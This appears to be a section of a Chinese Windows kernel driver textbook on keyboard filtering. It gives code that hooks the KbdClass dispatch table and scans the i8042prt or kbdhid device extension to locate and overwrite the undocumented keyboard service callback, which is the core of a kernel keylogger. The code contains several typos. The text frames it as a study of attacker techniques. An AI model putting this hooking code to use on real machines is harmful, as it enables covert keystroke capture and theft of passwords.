4.5 HOOK分发函数
本节开始深入的探讨键盘的过滤与反过滤。有趣的是,无论是过滤还是反过
滤,其原理都是进行过滤。取胜的关键在于:谁将第一个得到信息。
黑客可能会通过修改一个已经存在的驱动对象(比如前面的KbdClass)的分
发函数指针来实现过滤所有请求的目的。黑客将这些函数指针替换成自己的黑客
驱动中的函数,这样请求将被黑客的程序首先截获。然后通过调用原来被替换过
的旧的函数指针来让Windows的击键过程正常的运作下去。
4.5.1 获得类驱动对象
当然,首先要获得键盘类驱动对象,才能去替换下面的分发函数。这个相对
简单,因为这个驱动的名字是"\\Driver\\Kbdclass",所以可以直接使用
ObReferenceObjectByName 函数来获得。这个已经在前文使用过。
取得驱动对象后只要替换其分发函数就行了。这里需要注意的是,要设置分
发函数的不再是自己的驱动对象了,而是刚刚打开的键盘类驱动。
4.5.2 修改类驱动的分发函数指针
虽然驱动对象不同,但是替换的方法还是一样的。
值得注意的是,必须保存原有的驱动对象的分发函数的指针。
否则:
一、替换之后将无法恢复。
二、完成我们自己的处理后无法继续调用原有的分发函数。除非所有的
功能我们都编程代替原有驱动的分发函数做了,否则Windows的整个键盘输入系
统会直接崩溃。
这里用到一个原子操作:InterlockerExchangePonter。这个操作的好处是
,作者设置新的函数指针的操作是原子的,不会被打断,插入其他可能要执行到
调用这些分发函数的其他代码。
//这个数组用来保存所有旧的指针 ULONG i; PDRIVER_DISPATH OldDispatchFunctions[IRP_MJ_MAXIMUM_FUNCTION + 1]; ... ... //把所有的分发函数指针都替换成我们自己编写的同一个分发函数 for( i=0; i <= IRP_MJ_MAXIMUM_FUNCTION; ++I) { //假设MyFilterDipatch是作者已经写好的一个分发函数 OldDispatchFunction[i] = KbdDriverObject->MajorFunction[i]; //进行原子交换操作 InterlockedExchangePointer( &KbdDriverObject->Majorfunction[i], MyFilterDipatch); }
上面这段代码未经过测试,不过应该可以执行。但是执行安全性方面的一些
问题还是没有考虑周到。小问题可能出现在替换过程中:替换到一遍,收到IRP
。不过这问题出现的概率非常小
另外,确保自己编写分分发函数只在所有原来的分发函数被替换完毕之后才
开始起作用,而且小心处理这些IRP,避免依赖于它们之间的关联性。
4.5.3 类驱动之下的端口驱动
前面的过滤方法是替换分发函数指针。但是还是比较明显,因为分发函数的
指针本来就是已知的。
下面将介绍一个比较邪道的例子。方法旨在使得读者了解盗取键盘信息的黑
客所使用的手段,而绝不是推荐在商业软件中使用。
这个方法就是直接寻找一个用于端口驱动中读取输入缓冲区的函数(但是这
个函数实际上是类驱动提供的)。这个函数可以被HOOK来实现过滤。
类驱动:在Windows中,类驱动通常是指统管一类设备的驱动程序。(比如
键盘类驱动 KbdClass,不管是USB键盘,还是PS/2键盘均经过它,所以在这层做
拦截,能获得较好的通用性)。
端口驱动:类驱动之下和实际硬件交互的驱动被称为“端口驱动”。(具体
到键盘,i8042prt是PS/2键盘的端口驱动,USB键盘的是Kbdhid)。
下面以比较古老的PS/2键盘为例进行介绍,因此下面的端口驱动都是
i8042prt。
i8042prt 和 KbdClass 各有自己的一个可以循环使用的缓冲区。缓冲区
的每个单元是一个KEYBOARD_INPUT_DATA 结构,用来存放一个扫描码及其相关信
息。在键盘驱动中,把这个循环使用的缓冲区叫做输入数据队列(input data
queue),i8042prt的叫做端口键盘输入数据队列(port keyboard input data
queue),KbdClass的叫做类输入数据队列(class input data queue)。
i8042prt这个驱动生成的设备也有自己定义的设备扩展。
在i8042prt的自定义设备扩展中,保存着一些指针和计数值,用来使用它
的输入数据队列。包括:
(1)PKEYBOARD_INPUT_DATA 类型的InputData、DataIn、DataOut、
DataEnd。
(2)ULOG类型的inputCount。
** InputData 指针,指向输入数据队列的开头。
** DataEnd 指针,指向输入数据队列的结尾。
** DataIn 指针,指向要进入队列的新数据,被放在队列中的位置。
** DataOut 指针,指向要出队列的数据,在队列中开始的位置。
** InputCount 值,为输入数据队列中数据的个数。
同时,在KbdClass 的自定义设备扩展中,也保存着一些指针和计数值,用
来使用它的输入数据队列。名字和类型与上面的数据是完全一样的。
4.5.4 端口驱动和类驱动之间的协调机制
当键盘上一个按键按下或松开时,都会引发键盘中断,从而导致中断服务里
程被执行,导致最终i8042prt的I8042KeyboardInterruptService被执行。
在I8042KeyboardInterruptService中,从端口读出按键的扫描码,放在一
个KEYBOARD_INPUT_DATA中。将这个KEYBOARD_INPUT_DATA放入i8042prt的输入
数据队列中,一个中断放入一个数据,DataIn后移一格,InputCount加1.最后调
用内核API函数KeInsetQueueDpc,一个进行更多处理的延迟过程调用。
在这个调用中,KdbClass将会取走i8042prt输入队列中的数据。当读请求要
求读的数据大小大于等于i8042prt的输入数据队列中的数据时,读请求的处理函
数直接从i8042prt的输入数据队列中读出所有数据,不适用KbdClass的输入数据
队列。在大多数情况下都是这样。
当读请求要求读的数据大小小于i8042prt的输入数据队列中的数据时,读请
求的处理函数直接从i8042prt的输入数据队列中读出它所要的大小,然后这个读
请求被完成。i8042prt的输入数据队列中剩余的数据,被放入KbdClass的输入数
据队列中。当应用层发下来一个读请求时,那个读请求将直接从KbdClass的输入
数据队列中读取数据,不需要等待。
4.5.5 找到关键的回调函数的条件
从上面的原理来看,I8042KeyboardInterruptService中调用的类驱动的那
个回调函数非常关键。如果找到了这个函数,通过Hook、替换或者类似的手段,
就可以轻易的取得键盘的输入了。
现在的问题就是如何定位这个函数指针。i8042prt驱动的设备扩展我们并不
清楚:此外,WDK中也不可能公开这样一个函数的地址。但是“有识之士”根据
经验指出:
(1)这个函数指针应该保存在i8042prt生成的设备的自定义设备扩展中。
(2)这个函数的开始地址应该在内核模块KbdClass中。
(3)内核模块KbdClass生成的一个设备对象的指针也保存在那个谁被扩展
中。而且在我们要找的函数指针之前。
判断一个地址是否在KbdClass这个驱动中的代码:
PVOID addrss; size_t KbdDriverStart = KbdDriverObject->DriverStart; size_t KbdDriverSize = KbdDriverObject->DriverSize; ... if( (addrss > KbdDriverStart) && (addrss < (PBYTE)KbdDriverStart + KbdDriverSize) ) { //说明在这个驱动中 }
4.5.6 定义常数和数据结构
下面的方法实现了搜索这个关键的回调函数的指针。这些代码考虑得更加宽
泛,把USB键盘的情况也考虑进去了。涉及到如下3个驱动,这里都定义成字符串
。
//键盘类驱动的名字 #define KBD_DRIVER_NAME L"\\Driver\\kbdclass" //USB键盘端口驱动名 #define USBKBD_DRIVER_NAME L"\\Driver\\kbdhid" //PS/2键盘驱动名 #define PS2KBD_DRIVER_NAME L"\\Driver\\i8042prt"
然后,对于我们要搜索的回调函数的类型定义如下:
typedef VOID (_stdcall *KEYBOARDCLASSSERVICECALLBACK)( IN PDEVICE_OBJECT DeviceObject, IN PKEYBOARD_INPUT_DATA InputDataStar, IN PKEYBOARD_INPUT_DATA InputDataEnd, IN OUT PULONG InputDataConsumed);
接下来,定义一个全局变量gKbdClallBack,来接收搜索到的回调函数和类驱动
生成的一个设备对象。定义如下:
typedef struct _KBD_CALLBACK { PDEVICE_OBJECT classDeviceObject;//类驱动生成的一个设备对象 KEYBOARDCLASSSERVICECALLBACK serviceCallBack;//回调函数 }KBD_CALLBACK,*PKBD_CALLBACK; KBD_CALLBACK gKbdCallBack = {0};
4.5.7 打开两种键盘端口驱动寻找设备
&
4.5.8 搜索在KdbClass类驱动中的地址
NTSTATUS SearchServiceCallBack( IN PDRIVER_OBJECT DriverObject ) { //定义用到的一组局部变量。这些变量大多是顾名思义的 NTSTATUS status = STATUS_UNSUCCESSFUL; int i = 0; UNICODE_STRING uniNtNameString; PDEVICE_OBJECT pTargetDeviceObject = NULL; PDRIVER_OBJECT KbdDriverObject = NULL; PDRIVER_OBJECT KbdhidDriverObject = NULL; PDRIVER_OBJECT Kbd8042DriverObject = NULL; PDRIVER_OBJECT UsingDriverObject = NULL; PDEVICE_OBJECT UsingDeviceObject = NULL; PVOID KbdDriverStart = NULL; ULONG KbdDriverSize = NULL; PVOID UsingDeviceExt = NULL; //这里的代码用来打开USB键盘端口驱动的驱动对象 RtlInitUnicodeString(&uniNtNameString,USBKBD_DRIVER_NAME); status = ObReferenceObjectByName( &uniNtNameString, OBJ_CASE_INSENSITIVE, NULL, 0, IoDriverObjectType, KernelMode, NULL, &KbdhidDriverObject ); if( !NT_SUCCESS(status) ) { DbgPrint(("Couldn't get the USB driver Object\n")); } else { ObDereferenceObject(KbdhidDriverObject); DbgPrint("get the USB driver Object\n"); } //打开PS/2键盘的驱动对象 RtlInitUnicodeString(&uniNtNameString,PS2KBD_DRIVER_NAME); status = ObReferenceObjectByName( &uniNtNameString, OBJ_CASE_INSENSITIVE, NULL, 0, IoDriverObjectType, KernelMode, NULL, &Kbd8042DriverObject ); if( !NT_SUCCESS(status)) { DbgPrint(("Couldn't get the PS/2 driver Object\n")); } else { ObDereferenceObject(Kbd8042DriverObject); DbgPrint("get the PS/2 driver Object"); } //这段代码只考虑有一个键盘起作用的情况。如果USB键盘和PS/2键盘 //同时存在,则直接返回失败即可 if( Kbd8042DriverObject && KbdhidDriverObject) { DbgPrint("more than two kbd!\n"); } //找到合适的驱动对象。不管是USB还是PS/2,反正是一定要找到一个的 UsingDriverObject = Kbd8042DriverObject ? Kbd8042DriverObject : KbdhidDriverObject; //找到这个驱动对象下的第一个设备对象 UsingDeviceObject = UsingDriverObject->DeviceObject; //找到这个设备对象的设备扩展 UsingDeviceExt = UsingDeviceObject->DeviceExtension; //至此,已经把设备扩展的地址放到UsingDeviceExt里面了。根据前面的预测,这里 //面应该有一个函数指针,其地址是在驱动Kbdclass中的,找到它我们就成功了 //首先必须打开驱动KbdClass,以便从驱动对象中得到其开始地址和大小 RtlInitUnicodeString(&uniNtNameString,KBD_DRIVER_NAME); status = ObReferenceObjectByName( &uniNtNameString, OBJ_CASE_INSENSITIVE, NULL, 0, IoDriverObjectType, KernelMode, NULL, &KbdDriverObject ); if( !NT_SUCCESS(status)) { //如果没有成功,就直接返回失败即可 DbgPrint(("MyAttach: Couldn't get the kbd driver Object\n")); return STATUS_UNSUCCESSFUL; } else { ObDereferenceObject(KbdDriverObject); //如果成功了,就找到了KbdClass的开始地址和大小 KbdDriverStart = KbdDriverObject->DriverStart; KbdDriverSize = KbdDriverObject->DriverSize; } //下面就是搜索过程 //遍历KbdDriverObject下的设备对象 pTargetDeviceObject = KbdDriverObject->DeviceObject; PBYTE DeviceExt; PVOID *AddrServiceCallBack; while(pTargetDeviceObject) { DeviceExt = (PBYTE)UsingDeviceExt; //遍历我们先找到的端口驱动的设备扩展下的每一个指针 for(; i<4096; i++,DeviceExt+=sizeof(PBYTE)) { PVOID tmp; if(!MmIsAddressValid(DeviceExt)) { break; } //找到后悔填写到这个全局变量中。这里检测是否已经填好了 //如果已经填好了就不用继续找,可以直接跳出了 if(gKbdCallBack.classDeviceObject && gKbdCallBack.serviceCallBack) { status = STATUS_SUCCESS; break; } //在端口驱动的设备扩展中,找到了类驱动的设备对象,填好类驱动 //设备对象后继 tmp = *(PVOID*)DeviceExt; if(tmp == pTargetDeviceObject) { gKbdCallBack.classDeviceObject = (PDEVICE_OBJECT)tmp; DbgPrint("classDeviceObject %8x\n",tmp); continue; } //如果在设备扩展中找到一个地址位于KbdClass这个驱动中,就可以认为 //这就是我们要找的回调函数地址 if( (tmp > KbdDriverStart) && (tmp < (PBYTE)KbdDriverStart+KbdDriverSize)&& MmIsAddressValid(tmp) ) { //将这个回调函数记录下来 gKbdCallBack.serviceCallBack = (KEYBOARDCLASSSERVICECALLBACK)tmp; AddrServiceCallBack = (PVOID*)DeviceExt; DbgPrint(("serviceCallBack :%8x AddrServiceCallBack: %8x\n",tmp,AddrServiceCallBack)); } } //换成下一个设备,继续遍历 pTargetDeviceObject = pTargetDeviceObject->NextDevice; } //如果成功地找好了,就把这个函数替换成我们自己的回调函数 //之后的过滤就可以自己想做什么就做什么了 if (AddrServiceCallBack && gKbdCallBack.serviceCallBack) { DbgPrint(("Hook KeyboardClassServiceCallback\n")); *AddrServiceCallBack = MyKeyboardClassServiceCallback; } //这个函数到这里就结束了 return status; } //值得注意的是,这些到吗只是研究性代码,不适合作为商业代码使用,因为里面使用了未公开的数据结构。
注:(源代码前加上一下定义和声明)
extern POBJECT_TYPE IoDriverObjectType; typedef unsigned char BYTE; typedef BYTE * PBYTE; // 这个函数是事实存在的,只是文档中没有公开。声明一下 // 就可以直接使用了。 NTSTATUS ObReferenceObjectByName( PUNICODE_STRING ObjectName, ULONG Attributes, PACCESS_STATE AccessState, ACCESS_MASK DesiredAccess, POBJECT_TYPE ObjectType, KPROCESSOR_MODE AccessMode, PVOID ParseContext, PVOID *Object );